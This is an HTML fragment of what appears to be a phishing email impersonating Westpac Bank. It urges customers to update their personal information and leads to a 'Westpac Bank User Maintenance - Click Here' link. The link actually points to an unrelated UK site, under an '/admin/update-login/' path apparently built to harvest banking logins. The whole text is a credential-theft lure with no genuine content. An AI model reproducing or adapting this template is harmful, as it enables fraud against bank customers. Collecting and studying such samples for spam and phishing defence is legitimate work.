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<tr><td colspan="3" class="bodyText">Westpac Bank Customers are reminded
that User Maintenance personal information requires update</td></tr>
<tr><td colspan="3" class="bodyText">At Westpac online banking,
We are so confident with our online security system that we guarantee your money</td></tr>
<tr><td colspan="3" class="bodyText">This is provided you have complied with our Westpac Online Banking Product Disclosure Statement.</td></tr>
<tr><td colspan="3" class="bodyText">Please proceed to your Westpac internet banking below for more
update on your account maintenance :<br></td></tr>
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</FONT><A target="_blank"
href="http://cumberlandandwestmorland-opc.co.uk/admin/update-login/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/Westpac/";
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size=2><br><b>Westpac Bank User Maintenance - Click Here</b></FONT></A>
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</tr><tr><td width="5"></td><td class="footerText" colspan="2"><br>© <b> 2008 Westpac Banking Corporation</b></td></tr>
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